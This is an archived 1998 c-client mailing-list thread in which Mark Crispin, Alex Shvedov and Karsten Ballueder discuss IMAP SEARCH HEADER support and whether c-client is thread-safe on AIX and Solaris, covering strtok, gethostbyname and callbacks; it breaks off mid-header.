Thu, 10 Dec 1998 11:42:30 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Marcel Parodi Cc: c-client@CAC.Washington.EDU Subject: re: SEARCH HEADER In-Reply-To: <11561.913293747@limmat.switch.ch> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Thu, 10 Dec 1998 13:42:27 +0100, Marcel Parodi wrote: > Is there a mailing-list or a newsgroup dedicated to Mail::Cclient or is > it suitable to discuss this here on the c-client list? The c-client mailing list is the correct mailing list. Or you can ask me technical questions directly. > Second question: > I need to search for non-standard (ie 'X-foobar') header lines. There's > the HEADER key for the SEARCH command in the IMAP specification, but it > seems, that it's not possible to use this with the mail_search function > implemented in imap-4.4/c-client. Two things: first, use imap-4.5 instead of imap-4.4: ftp://ftp.cac.washington.edu/mail/imap-4.5.BETA.tar.Z imap-4.4 had a bug which broken SEARCH HEADER. Second, mail_search() is only a jacket to emulate the old function from the imap-3.x toolkit, and it only supports IMAP2 SEARCH operations. SEARCH HEADER is new in IMAP4. So, you have to use the new interface, which is to build a SEARCHPGM (instead of a char* string with IMAP protocol) and then call mail_search_full(). [The mail_search() jacket is a macro just calls a routine that parses the char* string into a SEARCHPGM, then calls mail_search_full().] > I found the function mail_newsearchheader in mail.c which could be useful > for this purpose, but strange enough it's not used at all in the whole code. That's because you call it, in the course of building your SEARCHPGM. Look at imapd.c to see how to do this. The mail_search() jacket will never be extended to cover IMAP4 search criteria. It is for compatibility with old softwareonly. Use the new mail_search_full() interface instead. From pinedev@shivax2.cac.washington.edu Thu Dec 10 12:46:42 1998 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Dec 1998 12:46:42 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id MAA00306 for ; Thu, 10 Dec 1998 12:46:40 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id MAA03190; Thu, 10 Dec 1998 12:46:34 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id MAA02616; Thu, 10 Dec 1998 12:45:16 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id MAA28494 for ; Thu, 10 Dec 1998 12:44:57 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id MAA21005 for ; Thu, 10 Dec 1998 12:44:53 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (phil@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id MAA14533 for ; Thu, 10 Dec 1998 12:44:46 -0800 Message-Id: Date: Thu, 10 Dec 1998 12:35:48 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Alex Shvedov Cc: IMAP discussion group , Karsten Ballueder Subject: Re: On multithreaded cclient In-Reply-To: <000501be2456$b660d7e0$2601a8c0@ashvedov.voicerite.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Thu, 10 Dec 1998 11:04:05 -0500, Alex Shvedov wrote: > It's a long story to describe them in detail here and now, but the test is > really simple: create two threads that talk to the same server (or to two > different servers) and try to open these two streams. If you'll manage to do > this, I'll eat my hat (lucky not to have one). As far as I know, the problem is that you need a C library with a thread-safe version of strtok(). If your C library's strtok() isn't thread-safe, you need to replace it with one that is. strtok() is used throughout c-client, particularly in the IMAP code. *BEGIN FLAME* Some C libraries have a thread-safe strtok() alternative that requires you to keep track of which thread you are for the global used by strtok(). It's a great example of people who don't understand the concept of good software engineering; if the application can keep track of per-thread context, a library routine can do so as well. Since c-client is itself a library, it's no more work for the C library to do it than c-client. Since the problem is in the C library, the C library should fix it rather than making every program in the world do so. It isn't as if these are new concepts either. Perhaps if UNIX geeks paid more attention to what other operating systems were doing 10-20 years ago instead of trying to kill them all off, we wouldn't be reinventing all this stuff today. *END FLAME* Even with this problem, c-client is definitely thread-safe as long as a thread can not be scheduled while another thread is inside c-client. I have an application that does this. From pinedev@shivax2.cac.washington.edu Thu Dec 10 13:37:19 1998 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Dec 1998 13:37:19 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id NAA03261 for ; Thu, 10 Dec 1998 13:37:18 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id NAA03972; Thu, 10 Dec 1998 13:37:11 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id NAA10250; Thu, 10 Dec 1998 13:35:45 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id NAA34430 for ; Thu, 10 Dec 1998 13:35:30 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id NAA24728 for ; Thu, 10 Dec 1998 13:35:29 -0800 Received: from ares.voicerite.com (root@totalcall.com [209.203.195.254]) by mx1.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id NAA03934 for ; Thu, 10 Dec 1998 13:35:19 -0800 Received: from ashvedov (ashvedov [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id QAA26474 for ; Thu, 10 Dec 1998 16:34:39 -0500 Message-Id: <01b201be2484$ff7986b0$2601a8c0@ashvedov.voicerite.com> Date: Thu, 10 Dec 1998 16:35:23 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Alex Shvedov" To: "IMAP discussion group" Subject: Re: On multithreaded cclient MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Sorry, Mark, but you still seem not to be 100% right. 1. gethostbyname is not thread-safe (experimental result), and - as opposed to strtok - I don't know its thread-safe equivalent (if any). In AIX there are none; it's a statement, not a question. So, without some non-context free changes library's code IS NOT thread safe, at least in AIX case, and this is also a statment, not a question. 2. Socket read/writes in tcp_unix.c ARE NOT thread-safe; threads confuse each other sockets if IO calls come at the same time (I forgot which global they use to talk to each other, but confusion is an experimental result, mutexed version works). This is also a statement, not a question. 3. Call-backs are obviously not thread-safe. And this appeared to be the biggest problem, by the way, because mutexed serializing would be more than idiotic here. Why everyone talks about poor strtok, I wonder? I had no problems with it, and strtok->strtok_r is a *context-free* substitution anyway. Don't understand *BEGIN FLAME*-*END FLAME* piece at all. Yes, some good guy made strtok not safe in 3000 BC. Yes, they invented a safe substitute only 2000 years later (though in AIX case it's wrong that "thread-safe strtok() alternative that requires you to keep track of which thread you are"). Yes, all this is bad. Do I like POSIX? No. Was it me who invented process-wide synchronous signals, just to give an example? No. Well, and what about it? >On Thu, 10 Dec 1998 11:04:05 -0500, Alex Shvedov wrote: >> It's a long story to describe them in detail here and now, but the test is >> really simple: create two threads that talk to the same server (or to two >> different servers) and try to open these two streams. If you'll manage to do >> this, I'll eat my hat (lucky not to have one). > >As far as I know, the problem is that you need a C library with a thread-safe >version of strtok(). If your C library's strtok() isn't thread-safe, you need >to replace it with one that is. strtok() is used throughout c-client, >particularly in the IMAP code. > >*BEGIN FLAME* >Some C libraries have a thread-safe strtok() alternative that requires you to >keep track of which thread you are for the global used by strtok(). It's a >great example of people who don't understand the concept of good software >engineering; if the application can keep track of per-thread context, a >library routine can do so as well. Since c-client is itself a library, it's >no more work for the C library to do it than c-client. Since the problem is >in the C library, the C library should fix it rather than making every program >in the world do so. > >It isn't as if these are new concepts either. Perhaps if UNIX geeks paid more >attention to what other operating systems were doing 10-20 years ago instead >of trying to kill them all off, we wouldn't be reinventing all this stuff >today. >*END FLAME* > >Even with this problem, c-client is definitely thread-safe as long as a thread >can not be scheduled while another thread is inside c-client. I have an >application that does this. > From pinedev@shivax2.cac.washington.edu Thu Dec 10 22:33:36 1998 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Dec 1998 22:33:35 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id WAA09673 for ; Thu, 10 Dec 1998 22:33:29 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id WAA20676; Thu, 10 Dec 1998 22:33:22 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id WAA11297; Thu, 10 Dec 1998 22:30:59 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id WAA28034 for ; Thu, 10 Dec 1998 22:30:12 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id WAA19282 for ; Thu, 10 Dec 1998 22:30:10 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (rich@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id WAA09145 for ; Thu, 10 Dec 1998 22:30:07 -0800 Message-Id: Date: Thu, 10 Dec 1998 21:56:47 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Alex Shvedov Cc: IMAP discussion group Subject: Re: On multithreaded cclient In-Reply-To: <01b201be2484$ff7986b0$2601a8c0@ashvedov.voicerite.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Thu, 10 Dec 1998 16:35:23 -0500, Alex Shvedov wrote: > 1. gethostbyname is not thread-safe (experimental result), and - as opposed > to strtok - I don't know its thread-safe equivalent (if any). In AIX there > are none; it's a statement, not a question. It sounds to me like you should be complaining to IBM to fix their C library. There's no reason why gethostbyname() shouldn't be thread-safe. If it isn't, that means they're using the old BSD gethostnamadr.c which does all its work in globals. > 2. Socket read/writes in tcp_unix.c ARE NOT thread-safe; threads confuse > each other sockets if IO calls come at the same time (I forgot which global > they use to talk to each other, but confusion is an experimental result, > mutexed version works). Once again, are you sure that this isn't an AIX specific problem? > 3. Call-backs are obviously not thread-safe. Why it it "obvious"? The callback arguments contain enough information; it's up to you to write the callback routines correctly. > Why everyone talks about poor strtok, I wonder? I had no problems with it, > and strtok->strtok_r is a *context-free* substitution anyway. Not all systems have strtok_r(). Most of the systems that I develop on do not. In any case, strtok_r() is not a compatible interface; it requires the main program to keep track of the pointer. That should be maintained by the thread mechanism in per-thread context. Quite frankly, if the cost of making c-client thread-safe on AIX (or any other system) turns out to be breaking c-client for every system and application that doesn't use threads, it isn't going to happen. Any proposed thread solutions MUST be compatible with non-threading, and furthermore MUST NOT introduce untoward burdens in the non-threading case. What this means is that the burden is on those who want threads to come up with compatible interfaces. c-client has numerous examples of how to do this. Note for example that the general OS environment is BSD-like; on SVR4 systems, the BSD environment is simulated through emulation functions and macros. From pinedev@shivax2.cac.washington.edu Fri Dec 11 03:00:12 1998 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Dec 1998 03:00:11 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id DAA02741 for ; Fri, 11 Dec 1998 03:00:10 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id DAA10731; Fri, 11 Dec 1998 03:00:02 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id CAA01739; Fri, 11 Dec 1998 02:59:07 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id CAA31642 for ; Fri, 11 Dec 1998 02:58:15 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id CAA01660 for ; Fri, 11 Dec 1998 02:58:15 -0800 Received: from phyw164.phy.hw.ac.uk (karsten@phyw164.phy.hw.ac.uk [137.195.29.164]) by mx1.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id CAA10699; Fri, 11 Dec 1998 02:58:05 -0800 Received: (from karsten@localhost) by phyw164.phy.hw.ac.uk (8.8.5/8.8.5) id KAA10196; Fri, 11 Dec 1998 10:58:01 GMT Message-Id: <13936.63722.427203.729633@phyw164.phy.hw.ac.uk> Date: Fri, 11 Dec 1998 10:58:00 +0000 (GMT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Karsten Ballueder To: Mark Crispin Cc: Alex Shvedov , IMAP discussion group Subject: Re: On multithreaded cclient In-Reply-To: References: <01b201be2484$ff7986b0$2601a8c0@ashvedov.voicerite.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Url: http://Ballueder.home.ml.org/ X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V/Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=Cd|PGg On Thu, 10 Dec 1998 16:35:23 -0500, Alex Shvedov wrote: > > 1. gethostbyname is not thread-safe (experimental result), and - a= s opposed > > to strtok - I don't know its thread-safe equivalent (if any). In A= IX there > > are none; it's a statement, not a question. >=20 > It sounds to me like you should be complaining to IBM to fix their C= library. > There's no reason why gethostbyname() shouldn't be thread-safe. If = it isn't, > that means they're using the old BSD gethostnamadr.c which does all = its work > in globals. Neither is Solars's gethostbyname() functino thread safe, you need the=20= _r version for it. > > 2. Socket read/writes in tcp_unix.c ARE NOT thread-safe; threads c= onfuse > > each other sockets if IO calls come at the same time (I forgot whi= ch global > > they use to talk to each other, but confusion is an experimental r= esult, > > mutexed version works). >=20 > Once again, are you sure that this isn't an AIX specific problem? On Solaris, they are thread safe. I believe actually checking for thread safety and writing code that wor= ks around such problems would be more helpful than ranting about some OS's bad design. Fortunately these problems are realtively easy to solve. Don't know about read/write though. > > 3. Call-backs are obviously not thread-safe. >=20 > Why it it "obvious"? The callback arguments contain enough informat= ion; it's > up to you to write the callback routines correctly. I agree with this, the callback happens in the thread of that folder, it doesn't cross threads. So the callback can easily send a signal to the main thread in some thread-safe way. > > Why everyone talks about poor strtok, I wonder? I had no problems = with it, > > and strtok->strtok_r is a *context-free* substitution anyway. So is gethostbyname() / gethostbyname_r(). > Not all systems have strtok_r(). Most of the systems that I develop= on do > not. In any case, strtok_r() is not a compatible interface; it requ= ires the > main program to keep track of the pointer. That should be maintaine= d by the > thread mechanism in per-thread context. How about jsut replacing it with strsep(). It's thread-safe and context-free and I have an implementation of it that we could use on systems that don't support it. Of course, it depends on how often you use strtok(), but replacing strtok(0 with strsep() is pretty straightforward.=20 =20 > Quite frankly, if the cost of making c-client thread-safe on AIX (or= any other > system) turns out to be breaking c-client for every system and appli= cation > that doesn't use threads, it isn't going to happen. Any proposed th= read > solutions MUST be compatible with non-threading, and furthermore MUS= T NOT > introduce untoward burdens in the non-threading case. 100% agreed. I don't think that adding thread-safety would lead to any=20= serious problems. In the worst case it would bring some mutex tests which can be made conditional on some preprocessor define. > What this means is that the burden is on those who want threads to c= ome up > with compatible interfaces. c-client has numerous examples of how t= o do this.=20 What do you mean by compatible interfaces? If Alex has some patches which make the existing c-client library thread safe by introducing mutex to control access to critical code, that doesn't mean any new interfaces. I think it's worth having a look at it. --=20 Karsten Ball=FCder http://www.phy.hw.ac.uk/~karsten/ mailto:Ballueder@= usa.net Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, Scotl= and Tel. +44-(0)-131-4513068 Fax. +44-(0)-131-4513136= "In a world without fences, who needs Gates?" =20 From pinedev@shivax2.cac.washington.edu Fri Dec 11 13:14:48 1998 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Dec 1998 13:14:47 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id NAA22766 for ; Fri, 11 Dec 1998 13:14:46 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id NAA18154; Fri, 11 Dec 1998 13:14:40 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id NAA12978; Fri, 11 Dec 1998 13:13:09 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id NAA26522 for ; Fri, 11 Dec 1998 13:12:34 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id NAA14487 for ; Fri, 11 Dec 1998 13:12:34 -0800 Received: from ares.voicerite.com (root@totalcall.com [209.203.195.254]) by mx1.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id NAA18087; Fri, 11 Dec 1998 13:12:27 -0800 Received: from ashvedov (ashvedov [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id QAA18754; Fri, 11 Dec 1998 16:11:47 -0500 Message-Id: <033901be254a$f8066990$2601a8c0@ashvedov.voicerite.com> Date: Fri, 11 Dec 1998 16:12:32 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Alex Shvedov" To: "Mark Crispin" Cc: "IMAP discussion group" Subject: Re: On multithreaded cclient MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I'll tell you what is bad in tcp-unix's read/writes (my item 2; it takes some time to re-create the problem) and in call-backs (my item 3; the explanation is too long), but I became curious: is AIX the only fossil with nonsafe gethostbyname or not (AIX people state that their version 4.3 complies with POSIX 1003.4a Draft 7)? I immediately found out (http://hoth.stsci.edu/man/man3N/endhostent.html#sect0) that Sun Solaris is NOT safe also (they have gethostbyname_r as an alternative) and (http://www.freebsd.org/cgi/man.cgi?query=gethostbyname&apropos=0&sektion=0& manpath=FreeBSD+3.0-current&format=html) that current FreeBSD "use static data storage". Als? Hurray! The moment you learn that you're not the only one who feels bad, you start feeling better. Anyway, cclient is not safe for all systems - TIASNAQ. You're right, fixing libc.a is a *real* solution, but... The workaround I used was pretty dumb: - forget about _r and call this thing before *any* spawning for all servers you're going to use; - remember the results (struct hostent), and - fetch them by fake Gethostbyname (capital G) later when necessary. The number of servers is normally small enough not to bother any more. And my first purpose was just to find out what is not safe, after all. >Quite frankly, if the cost of making c-client thread-safe on AIX (or any other >system) turns out to be breaking c-client for every system and application >that doesn't use threads, it isn't going to happen. Absolutely agree; you've done a great job already, and I don't expect you to port cclient to a mechanical calculator. Still, any predicate's range is limited to {TRUE, FALSE}; "cclient is safe for all systems declared"=FALSE. Sorry. >Any proposed thread solutions MUST be compatible with non-threading, and furthermore MUST NOT >introduce untoward burdens in the non-threading case. That's exactly the way I see it. The changes I have (partly in mind, partly in code) do not screw up single-threaded variant (tested). From pinedev@shivax2.cac.washington.edu Mon Dec 14 01:47:15 1998 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Dec 1998 01:47:12 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id BAA30425 for ; Mon, 14 Dec 1998 01:47:10 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id BAA10011; Mon, 14 Dec 1998 01:47:04 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id BAA08765; Mon, 14 Dec 1998 01:46:11 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id BAA09654 for ; Mon, 14 Dec 1998 01:44:37 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id BAA19007 for ; Mon, 14 Dec 1998 01:44:37 -0800 Received: from phyw164.phy.hw.ac.uk (karsten@phyw164.phy.hw.ac.uk [137.195.29.164]) by mx1.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id BAA09980; Mon, 14 Dec 1998 01:44:30 -0800 Received: (from karsten@localhost) by phyw164.phy.hw.ac.uk (8.8.5/8.8.5) id JAA31815; Mon, 14 Dec 1998 09:43:56 GMT Message-Id: <13940.56656.868422.979034@phyw164.phy.hw.ac.uk> Date: Mon, 14 Dec 1998 09:43:53 +0000 (GMT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Karsten Ballueder To: "Alex Shvedov" Cc: "Mark Crispin" , "IMAP discussion group" Subject: Re: On multithreaded cclient In-Reply-To: <033901be254a$f8066990$2601a8c0@ashvedov.voicerite.com> References: <033901be254a$f8066990$2601a8c0@ashvedov.voicerite.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Url: http://Ballueder.home.ml.org/ X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V/Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=Cd|PGg The workaround I used was pretty dumb: > - forget about _r and call this thing before *any* spawning for all = servers > you're going to use; > - remember the results (struct hostent), and > - fetch them by fake Gethostbyname (capital G) later when necessary.= > The number of servers is normally small enough not to bother any mor= e. And > my first purpose was just to find out what is not safe, after all. Why didn't you use gethostname_r() ? Your approach can only work for cases where you know all servers before starting the application which=20= for a lot of applications won't be possible. My application is a mail/news reader and there is no chance of knowing which folders/servers the user will look at, before opening the first stream. I think that solution is too limited. Is there any deeper reason why you didn't just use the _r() variant? --=20 Karsten Ball=FCder http://www.phy.hw.ac.uk/~karsten/ mailto:Ballueder@= usa.net Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, Scotl= and Tel. +44-(0)-131-4513068 Fax. +44-(0)-131-4513136= "In a world without fences, who needs Gates?" =20 From pinedev@shivax2.cac.washington.edu Mon Dec 14 08:20:04 1998 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Dec 1998 08:20:04 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id IAA02890 for ; Mon, 14 Dec 1998 08:20:02 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id IAA12770; Mon, 14 Dec 1998 08:19:56 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id IAA01045; Mon, 14 Dec 1998 08:16:46 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id IAA22396 for ; Mon, 14 Dec 1998 08:15:36 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id IAA07265 for ; Mon, 14 Dec 1998 08:15:35 -0800 Received: from ares.voicerite.com (root@totalcall.com [209.203.195.254]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id IAA23230; Mon, 14 Dec 1998 08:15:28 -0800 Received: from ashvedov (ashvedov [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id LAA05628; Mon, 14 Dec 1998 11:14:32 -0500 Message-Id: <039701be277c$f0dff670$2601a8c0@ashvedov.voicerite.com> Date: Mon, 14 Dec 1998 11:15:17 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Alex Shvedov" To: "Karsten Ballueder" Cc: "Mark Crispin" , "IMAP discussion group" Subject: Re: On multithreaded cclient MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN gethostbyname_r was not referenced in AIX docs, that's the reason for a dumb workaround. Once again: my purpose was to find out what is NOT safe. Diagnosis first, treatment second. And this was not a problem. Reads/writes were, and call-backs costed much more. From pinedev@shivax2.cac.washington.edu Mon Dec 14 09:26:42 1998 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Dec 1998 09:26:42 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id JAA27382 for ; Mon, 14 Dec 1998 09:26:40 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id JAA13936; Mon, 14 Dec 1998 09:26:27 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id JAA03906; Mon, 14 Dec 1998 09:24:35 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id JAA09400 for ; Mon, 14 Dec 1998 09:24:02 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id JAA16702 for ; Mon, 14 Dec 1998 09:24:01 -0800 Received: from ares.voicerite.com (root@totalcall.com [209.203.195.254]) by mx1.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id JAA13853 for ; Mon, 14 Dec 1998 09:23:57 -0800 Received: from ashvedov (ashvedov [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id MAA18084; Mon, 14 Dec 1998 12:22:55 -0500 Message-Id: <03b301be2786$7e493360$2601a8c0@ashvedov.voicerite.com> Date: Mon, 14 Dec 1998 12:23:40 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Alex Shvedov" To: "Karsten Ballueder" Cc: "IMAP discussion group" Subject: Re: On multithreaded cclient MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 